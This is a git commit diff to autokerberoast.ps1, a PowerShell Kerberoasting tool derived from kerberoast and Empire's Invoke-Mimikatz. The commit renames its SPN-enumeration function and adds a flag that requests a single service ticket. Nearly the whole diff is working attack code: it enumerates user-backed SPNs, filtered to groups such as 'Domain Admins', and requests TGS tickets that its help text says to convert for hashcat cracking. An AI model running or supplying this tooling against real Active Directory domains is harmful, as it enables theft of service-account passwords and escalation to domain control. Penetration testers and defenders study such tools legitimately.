added Invoke-AutoKerberoast flag to request single ticket, renamed Ge…

…tUserSPNS function to List-UserSPNs, added comments

autokerberoast.ps1

@@ -1,14 +1,13 @@
 # Note: This is a copy of https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1 and https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/credentials/Invoke-Mimikatz.ps1
-#       Changes have been made to automate the process of requesting service tickets of interest in windows environemnts.  Only minimal testing has been performed
-
+#       Changes have been made to automate the process of requesting service tickets of interest in windows environemnts.  Some testing has been performed
 
 # Instructions:
 # To list ALL user-based SPNs, run:
-#   GetUserSPNs
+#   List-UserSPNs
 # To list user SPNs that involve users in a particular group, run:
-#   GetUserSPNs -Group "Domain Admins"
+#   List-UserSPNs -Group "Domain Admins"
 # To list user SPNs that from a particular domain, run:
-#   GetUserSPNs -Domain "dev.testlab.local"
+#   List-UserSPNs -Domain "dev.testlab.local"
 # When ready to obtain tickets for users in a group/domain of interest, run:
 #   Invoke-AutoKerberoast -Group "Domain Admins" -Domain "dev.testlab.local"
 # If you don't specify a Group/Domain, then it will return tickets for ALL UNQIUE users assoicated with a SPN.  For example, if two MSSQL SPNs are registered to the same user, it will only request a ticket for the first service
@@ -32,8 +31,31 @@
 # History:  2014/11/12     Tim Medin    Created
 #           2016/04/12     Tim Medin    Added -Request option to automatically get the tickets
 
-function GetUserSPNS
+function List-UserSPNs
 {
+<#
+  .SYNOPSIS
+    This function will List all SPNs that use User accounts.  The -Domain and -Group parameters can be used to limit your results.
+
+  .PARAMETER Domain
+    This will only query the DC in a specified domain for SPNs that use User accounts.  Default is to query entire Forest.
+
+  .PARAMETER Group
+    This paremeter will only return SPNs that use users in a specific group, e.g. "Domain Admins"
+
+  .PARAMETER ViewAll
+    Switch that displays ALL SPNs, even if they are protected by the same user.  
+    Default is to only show 1 SPN per user account (e.g. if two MSSQL SPNs are registered to the user sqlAdmin, it will only request a ticket for the first service)
+
+  .PARAMETER Request
+    Switch to also request TGS tickets.  Default is only list available user SPNs.
+
+  .EXAMPLE
+    PS C:\> List-UserSPNS
+    PS C:\> List-UserSPNS -Group "Domain Admins"
+    PS C:\> List-UserSPNS -Domain dev.testlab.local
+#>
+
   [CmdletBinding()]
   Param(
   	[Parameter(Mandatory=$False,Position=1)] 
@@ -175,28 +197,68 @@ function GetUserSPNS
 
 function Invoke-AutoKerberoast 
 {
+<#
+    .SYNOPSIS
+        This function automatically request and display TGS tickets protected by user accounts.  The -Domain and -Group parameters can be used to execute targed queries.
+        Once tickets are obtained, use autoKirbi2hashcat.py script to convert base64 encoded tickets to hashcat-compatible file.
+
+    .PARAMETER Domain
+        This will only query the DC in a specified domain for SPNs that use User accounts.  Default is to query entire Forest.
+
+    .PARAMETER Group
+        This paremeter will only return SPNs that use users in a specific group, e.g. "Domain Admins".
+
+    .PARAMETER SPN
+        This paremeter will only request and process TGS ticket for single SPN.  Recommend running List-UserSPNs first to identify name of useful SPN.
+
+    .EXAMPLE
+        PS C:\> List-UserSPNS
+        PS C:\> List-UserSPNS -Group "Domain Admins"
+        PS C:\> List-UserSPNS -Domain dev.testlab.local
+        PS C:\> List-UserSPNS -SPN MSSQLSvc/sqlBox.testlab.local:1433
+#>
+
     [CmdletBinding()]
     Param(
         [Parameter(Mandatory=$False)] 
         [string]$Group="",
 
         [Parameter(Mandatory=$False)]
-        [string]$Domain=""
-    )
+        [string]$Domain="",
 
-    $SPNs = GetUserSPNS -Request -Group $Group -Domain $Domain | Select SPN, DistinguishedName
-
-    if ( ! $SPNs )
-    {
-        write-output "Unable to obtain any user account SPNs"
-        exit
-    }
+        [Parameter(Mandatory=$False)]
+        [string]$SPN
+    )
 
     $SPNsArray = New-Object System.Collections.ArrayList
     $DnameArray = New-Object System.Collections.ArrayList
 
-    $SPNs | % { [void]$SPNsArray.Add($_.SPN) }
-    $SPNs | % { [void]$DnameArray.Add($_.DistinguishedName) }
+    if ( $SPN ) 
+    {
+        try
+        {
+            Add-Type -AssemblyName System.IdentityModel
+            New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN | out-null
+            [void]$SPNsArray.Add($SPN)
+        }
+        catch
+        {
+            Write-Output "Unable to obtain TGS ticket for SPNs $SPN.   Please check that this is a valid SPN and you are in a domain user context"
+            exit
+        }
+    }
+    else
+    {
+        $SPNs = List-UserSPNs -Request -Group $Group -Domain $Domain | Select SPN, DistinguishedName
+        if ( ! $SPNs )
+        {
+            write-output "Unable to obtain any user account SPNs"
+            exit
+        }
+
+        $SPNs | % { [void]$SPNsArray.Add($_.SPN) }
+        $SPNs | % { [void]$DnameArray.Add($_.DistinguishedName) }
+    }
 
     while ( $SPNsArray.contains("kadmin/changepw") )
     {